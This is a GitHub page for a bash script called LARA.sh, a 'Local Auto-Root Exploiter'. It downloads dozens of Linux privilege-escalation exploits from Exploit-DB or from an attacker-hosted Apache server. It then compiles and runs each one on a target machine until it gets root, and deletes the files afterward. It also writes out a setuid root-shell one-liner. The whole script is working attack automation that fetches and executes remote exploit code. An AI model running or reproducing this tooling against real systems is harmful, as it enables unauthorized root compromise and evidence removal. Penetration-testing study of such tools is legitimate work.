-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathLARA.sh
692 lines (645 loc) · 20.4 KB
/
LARA.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
#!/bin/bash
bold=`tput bold`
normal=`tput sgr0`
red='\e[0;31m'
yellow='\e[1;33m'
blue='\e[1;34m'
light_green='\e[1;32m'
light_cyan='\e[1;36m'
cyan='\e[0;36m'
red='\e[0;31m'
light_red='\e[1;31m'
brown='\e[0;33m'
no_color='\e[0m'
#com_url='$gaddress/linux/local'
#x86_64_url='$gaddress/lin_x86-64/local'
#x86_url='$gaddress/lin_x86/local'
#sploits_url='$saddress/sploits'
function lauto_root(){
echo -e "\n${light_green}${bold}###################################################"
echo -e "${light_green}${bold}# ${light_red}Local Auto-Root Exploiter ${light_green}#"
echo -e "${light_green}${bold}# By ${light_red}Enigma Dimitri ${light_green}#"
echo -e "${light_green}${bold}# ${yellow}Inspired by Auto Root Exploit ${light_green}#"
echo -e "${light_green}${bold}# By Nilotpal Biswas #"
echo -e "${light_green}${bold}###################################################"
}
function desc(){
echo -e "\n${light_red}${bold}Usage: ${yellow}$0 [${light_green}option${yellow}]\n"
echo -e "${light_red}${bold}Options: ${no_color}\n"
echo -e "${bold}${yellow} -a or --arsenal: ${light_green} Downloads the exploits to /var/www/html directory and start the apache server."
echo -e "${bold}${yellow} -l <Attacker-IP> or --Lroot <Attacker-IP>: ${light_green} Get the exploits from attackers machine and starts the exploiter."
echo -e "${bold}${yellow} -r or --Rroot: ${light_green} Downloads the exploits directly to the server and starts the exploiter.\n"
echo -e "${bold}${light_red}Command Examples: \n"
echo -e "${light_red}Create Local Arsenal: ${yellow}$0 -a"
echo -e "${light_red}LAN Root: ${yellow}$0 -l 10.10.10.123"
echo -e "${light_red}Remote Root: ${yellow}$0 -r \n"
}
function local_dir(){
sudo rm -r /var/www/html/exploits
# Creating the required Directories
sudo mkdir /var/www/html/exploits
sudo mkdir /var/www/html/exploits/gitex
sudo mkdir /var/www/html/exploits/linux
sudo mkdir /var/www/html/exploits/linux/local
sudo mkdir /var/www/html/exploits/lin_x86-64
sudo mkdir /var/www/html/exploits/lin_x86-64/local
sudo mkdir /var/www/html/exploits/lin_x86
sudo mkdir /var/www/html/exploits/lin_x86/local
sudo mkdir /var/www/html/exploits/sploits
}
function arsenal(){
# Getting the common exploits to local directory
cd /var/www/html/exploits/linux/local
echo -e "Downloading exploits to ${light_red}${bold}" $(pwd) "${light_green}"
sudo wget --no-check-certificate $gaddress/linux/local/2031.c
sudo wget --no-check-certificate $gaddress/linux/local/17391.c
sudo wget --no-check-certificate $gaddress/linux/local/18411.c
sudo wget --no-check-certificate $gaddress/linux/local/33321.c
sudo wget --no-check-certificate $gaddress/linux/local/35161.c
sudo wget --no-check-certificate $gaddress/linux/local/5092.c
sudo wget --no-check-certificate $gaddress/linux/local/8572.c
sudo wget --no-check-certificate $gaddress/linux/local/25202.c
sudo wget --no-check-certificate $gaddress/linux/local/33322.c
sudo wget --no-check-certificate $gaddress/linux/local/40812.c
sudo wget --no-check-certificate $gaddress/linux/local/37292.c
sudo wget --no-check-certificate $gaddress/linux/local/2013.c
sudo wget --no-check-certificate $gaddress/linux/local/5093.c
sudo wget --no-check-certificate $gaddress/linux/local/8673.c
sudo wget --no-check-certificate $gaddress/linux/local/10613.c
sudo wget --no-check-certificate $gaddress/linux/local/40003.c
sudo wget --no-check-certificate $gaddress/linux/local/2004.c
sudo wget --no-check-certificate $gaddress/linux/local/15704.c
sudo wget --no-check-certificate $gaddress/linux/local/25444.c
sudo wget --no-check-certificate $gaddress/linux/local/30604.c
sudo wget --no-check-certificate $gaddress/linux/local/33824.c
sudo wget --no-check-certificate $gaddress/linux/local/41994.c
sudo wget --no-check-certificate $gaddress/linux/local/2005.c
sudo wget --no-check-certificate $gaddress/linux/local/15285.c
sudo wget --no-check-certificate $gaddress/linux/local/41995.c
sudo wget --no-check-certificate $gaddress/linux/local/2006.c
sudo wget --no-check-certificate $gaddress/linux/local/40616.c
sudo wget --no-check-certificate $gaddress/linux/local/33336.c
sudo wget --no-check-certificate $gaddress/linux/local/39166.c
sudo wget --no-check-certificate $gaddress/linux/local/41886.c
sudo wget --no-check-certificate $gaddress/linux/local/1397.c
sudo wget --no-check-certificate $gaddress/linux/local/27297.c
sudo wget --no-check-certificate $gaddress/linux/local/39277.c
sudo wget --no-check-certificate $gaddress/linux/local/718.c
sudo wget --no-check-certificate $gaddress/linux/local/8678.c
sudo wget --no-check-certificate $gaddress/linux/local/41458.c
sudo wget --no-check-certificate $gaddress/linux/local/40839.c
sudo wget --no-check-certificate $gaddress/linux/local/35370.c
sudo wget --no-check-certificate $gaddress/linux/local/38390.c
sudo wget --no-check-certificate $gaddress/linux/local/39230.c
sudo wget --no-check-certificate $gaddress/linux/local/42183.c
#bash exploits
sudo wget --no-check-certificate $gaddress/linux/local/2011.sh
sudo wget --no-check-certificate $gaddress/linux/local/8478.sh
sudo wget --no-check-certificate $gaddress/linux/local/10018.sh
#python exploits
sudo wget --no-check-certificate $gaddress/linux/local/9844.py
sudo wget --no-check-certificate $gaddress/linux/local/12130.py
# Getting 64bit only exploits to lin_x86-64 directory
cd /var/www/html/exploits/lin_x86-64/local
echo -e "Downloading exploits to ${light_red}${bold}" $(pwd) "${light_green}"
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/40871.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/15024.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/24746.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/33516.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/31347.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/33589.c
sudo wget --no-check-certificate $gaddress/lin_x86-64/local/40049.c
# Getting 32-bit only exploit to lin_x86 directory
cd /var/www/html/exploits/lin_x86/local
echo -e "Downloading exploits to ${light_red}${bold}" $(pwd) "${light_green}"
sudo wget --no-check-certificate $gaddress/lin_x86/local/9542.c
# Getting the compressed exploits to sploits directory
cd /var/www/html/exploits/sploits
echo -e "Downloading exploits to ${light_red}${bold}" $(pwd) "${light_green}"
sudo wget --no-check-certificate $saddress/sploits/9191.tgz
sudo wget --no-check-certificate $saddress/sploits/39772.zip
sudo wget --no-check-certificate $saddress/sploits/29714.tgz
sudo wget --no-check-certificate $saddress/sploits/9191.tgz
sudo wget --no-check-certificate $saddress/sploits/33395.tgz
sudo wget --no-check-certificate $saddress/sploits/40489.zip
# Getting CVE-2016-2384 exploit to gitex directory
cd /var/www/html/exploits/gitex
echo -e "Downloading exploits to ${light_red}${bold}" $(pwd) "${light_green}"
sudo wget --no-check-certificate $gitaddress/poc.c
sudo wget --no-check-certificate $gitaddress/poc.py
}
function valid_ip()
{
if ! [ "$2" ]; then
echo -e "${red}${bold}IP Not Provided, Please provide an IP"
else
if [[ "$ip" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]] ;then
for (( i=1; i<${#BASH_REMATCH[@]}; ++i ))
do
(( ${BASH_REMATCH[$i]} <= 255 )) || { echo "Invalid IP address!!!" >&2; exit 1; }
done
else
echo -e "${light_green}========================================"
echo -e "# ${light_red}Proceding to access the address... ${light_green}#"
echo -e "========================================"
exit 1;
fi
fi
}
#gaddress=$1'/exploits'
#saddress=$1'/exploits'
#gitaddress=$1'/exploits/gitex'
function exploiter(){
checkroot() {
if [ $(id -u) == 0 ]; then
echo
echo -e "${light_red}Successfully R00T(ed).. have fun :)"
id=$(id)
echo -e "${light_red}ID => ${light_green}" $id
who=$(whoami)
echo -e "${light_red}WHOAMI => ${light_green}" $who
exit
else
echo ""
echo -e "${light_red}R00Ting.. ${light_green}"
sleep 1
fi
}
ccmpl(){
gcc exploit.c -o exploit -lutil -lpthread
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -m32 -O2 -o exploit
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -O2 -o exploit
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit -lkeyutils -Wall
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit -lpthread
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit -pthread
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit -static -Wall
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc exploit.c -o exploit -Wall
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -fPIC -shared -o exploit exploit.c -ldl -w
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -O2 exploit.c
gcc -O2 -fomit-frame-pointer exploit.c -o exploit
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -o exploit exploit.c
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -o exploit exploit.c -static -O2
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -pthread exploit.c -o exploit -lcrypt
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -Wall -m64 -o exploit exploit.c
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
gcc -Wall -o exploit exploit.c
./exploit
./a.out
rm exploit
rm exploit.c
rm a.out
checkroot;
}
shcmpl(){
bash exploit.sh
rm exploit.sh
rm *.c
checkroot;
}
pycmpl(){
python exploit.py
rm exploit.py
rm *.c
checkroot;
}
echo -e "${light_red}Auto R00Ting started...${light_green}"
checkroot;
#c
wget --no-check-certificate $gaddress/linux/local/2031.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/17391.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/18411.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/33321.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/35161.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/40871.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/5092.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/8572.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86/local/9542.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/25202.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/33322.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/40812.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/37292.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/2013.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/5093.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/8673.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/10613.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/40003.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/2004.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/15024.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/15704.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/25444.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/30604.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/33824.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/41994.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/2005.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/15285.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/41995.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/2006.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/40616.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/24746.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/33336.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/33516.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/39166.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/41886.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/1397.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/27297.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/31347.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/39277.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/718.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/8678.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/41458.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/40839.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/33589.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/lin_x86-64/local/40049.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/35370.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/38390.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/39230.c -O exploit.c
ccmpl;
wget --no-check-certificate $gaddress/linux/local/42183.c -O exploit.c
ccmpl;
#sh
wget --no-check-certificate $gaddress/linux/local/2011.sh -O exploit.sh
shcmpl;
wget --no-check-certificate $gaddress/linux/local/8478.sh -O exploit.sh
shcmpl;
wget --no-check-certificate $gaddress/linux/local/10018.sh -O exploit.sh
shcmpl;
#py
wget --no-check-certificate $gaddress/linux/local/9844.py -O exploit.py
pycmpl;
wget --no-check-certificate $gaddress/linux/local/12130.py -O exploit.py
pycmpl;
#txt
#platforms/linux/local/9191.txt
wget --no-check-certificate $saddress/sploits/9191.tgz
tar -zxf 9191.tgz
cd cheddar_bay
bash cheddar_bay.sh
cc -fno-stack-protector -o exploit exploit.c
./exploit
cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
./exploit
cd ..
rm -rf cheddar_bay
rm -rf 9191.tgz
tar -zxf 33395.tgz
cd ext4_own
bash ext4_own.sh
cd ..
rm -rf ext4_own
rm -rf 33395.tgz
checkroot;
#platforms/linux/local/39772.txt
wget --no-check-certificate $saddress/sploits/39772.zip
cd 39772
unzip 39772.zip
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
bash compile.sh
./hello
./doubleput
./suidhelper
cd ..
rm -rf ebpf_mapfd_doubleput_exploit
rm -rf exploit.tar
checkroot;
tar -xf crasher.tar
cd ebpf_mapfd_doubleput_crasher
bash compile.sh
./doubleput
cd ..
rm -rf ebpf_mapfd_doubleput_crasher
rm -rf 39772
rm -rf 39772.zip
checkroot;
#platforms/linux/local/23674.txt
smbmount --version
ls -l /usr/bin/smbmount
ls -l /usr/bin/smbmnt
echo "main(){setuid(0);setgid(0);system("/bin/bash");}" > a.c
make a
cc a.c -o a
chmod +s a
share:/etc/samba/smb.conf
/etc/samba/smb.conf
[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share
ls -l a
ls -l pokus/a
id
checkroot;
#platforms/linux/local/29714.txt
wget --no-check-certificate $saddress/sploits/29714.tgz
tar -zxf 29714.tgz
cd exploit
make
make install
cd ..
rm -rf exploit
rm -rf 29714.tgz
checkroot;
wget --no-check-certificate $saddress/sploits/9191.tgz
tar -zxf 9191.tgz
cd cheddar_bay
bash cheddar_bay.sh
cc -fno-stack-protector -o exploit exploit.c
./exploit
cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
./exploit
cd ..
rm -rf cheddar_bay
rm -rf 9191.tgz
tar -zxf 33395.tgz
cd ext4_own
bash ext4_own.sh
cd ..
rm -rf ext4_own
rm -rf 33395.tgz
checkroot;
#platforms/linux/local/33395.txt
wget $saddress/sploits/33395.tgz
tar -zxf 33395.tgz
cd ext4_own
bash ext4_own.sh
checkroot;
cd ..
rm -rf ext4_own
rm -rf 33395.tgz
#platforms/linux/local/40489.txt
wget --no-check-certificate $saddress/sploits/40489.zip
unzip 40489.zip
cd 40489
bash compile.sh
./pwn
./enjoy
cd ..
rm -rf 40489
rm -rf 40489.zip
checkroot;
#platforms/linux/local/41770.txt
# #!/bin/bash
# (./ProcReadHelper /proc/$$/syscall) &
# sleep 1
# exec /usr/bin/passwd
# #!/bin/bash
# echo "Current pid is $$"
# (sleep 10; echo 127 ) > /proc/$$/coredump_filter &
# sleep 5
# exec /usr/bin/passwd
# static ssize_t mem_read(struct file * file, char __user * buf,
# size_t count, loff_t *ppos) {
# if (file->private_data != (void*)((long)current->self_exec_id))
# goto out_put;
# #!/bin/bash
# (sleep 3; echo 15) > /proc/$$/oom_adj &
# exec /usr/bin/passwd
# checkroot;
#platforms/linux/local/38559.txt
rmmod b43
modprobe b43 fwpostfix=AA%xBB
dmesg
checkroot;
#platforms/linux/local/41999.txt
wget --no-check-certificate $gitaddress/poc.c -O poc.c
gcc poc.c -masm=intel
./a.out 0
checkroot;
./a.out 1
checkroot;
./a.out 2
checkroot;
./a.out 3
checkroot;
./a.out 4
checkroot;
./a.out 5
checkroot;
./a.out 6
checkroot;
./a.out 7
checkroot;
./a.out 8
checkroot;
./a.out 9
checkroot;
./a.out 10
checkroot;
rm a.out
rm poc.c
wget --no-check-certificate $gitaddress/poc.py -O poc.py
python poc.py
checkroot;
rm poc.py
rm a.out
rm exploit
echo -e "${light_red}Srry.. I tried hard, but no luck this time.. Wait for update :("
exit 1;
}
if ! [ "$1" ] || [ "$1" == '-h' ] || [ "$1" == '--help' ] ; then #|| ! [ "$2" ]; then
lauto_root
desc
fi
if [ "$1" == '-a' ] || [ "$1" == '--arsenal' ] ; then
lauto_root
sleep 2
echo -e "\n${light_green}=================================="
echo -e "# ${light_red}Initiating Arsenal script ${light_green} #"
echo -e "==================================\n"
gaddress='https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms'
saddress='https://github.com/offensive-security/exploit-database-bin-sploits/raw/master'
gitaddress='https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384'
local_dir
arsenal
echo -e "${light_green}=========================="
echo -e "# ${light_red}Local Arsenal Set.. ${light_green}#"
echo -e "==========================\n"
echo -e "${light_green}=========================="
echo -e "# ${light_red}Starting Apache2 ${light_green}#"
echo -e "==========================\n"
/bin/bash -i /etc/init.d/apache2 start
/bin/bash -i /etc/init.d/apache2 status
echo -e "${light_green}=================================="
echo -e "# ${light_red}Run Exploiter on Victim ${light_green}#"
echo -e "==================================\n"
exit 1;
fi
if [ "$1" == '-l' ] || [ "$1" == '--Lroot' ] ; then
lauto_root
if ! [ "$2" ]; then
echo -e "\n${light_red}No IP address provided!!!\n"
exit 1;
else
ip=$2
fi
if [[ "$ip" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]] ;then
for (( i=1; i<${#BASH_REMATCH[@]}; ++i ))
do
(( ${BASH_REMATCH[$i]} <= 255 )) || { echo "Invalid IP address!!!" >&2; exit 1; }
done
else
echo -e "${light_green}========================================"
echo -e "# ${light_red}Proceding to access the address... ${light_green}#"
echo -e "========================================\n"
fi
sleep 2
echo -e "${light_green}=================================="
echo -e "# ${light_red}Initiating Local Exploiter ${light_green}#"
echo -e "==================================\n"
gaddress='http://'${ip}'/exploits'
saddress='http://'${ip}'/exploits'
gitaddress='http://'${ip}'/exploits/gitex'
exploiter
exit 1;
fi
if [ "$1" == '-r' ] || [ "$1" == '--Rroot' ] ; then
lauto_root
gaddress='https://raw.githubusercontent.com/offensive-security/exploit-database/master/platforms'
saddress='https://github.com/offensive-security/exploit-database-bin-sploits/raw/master'
sleep 2
echo -e "${light_green}==================================="
echo -e "# ${light_red}Initiating Remote Exploiter ${light_green}#"
echo -e "===================================\n"
exploiter
exit 1;
fi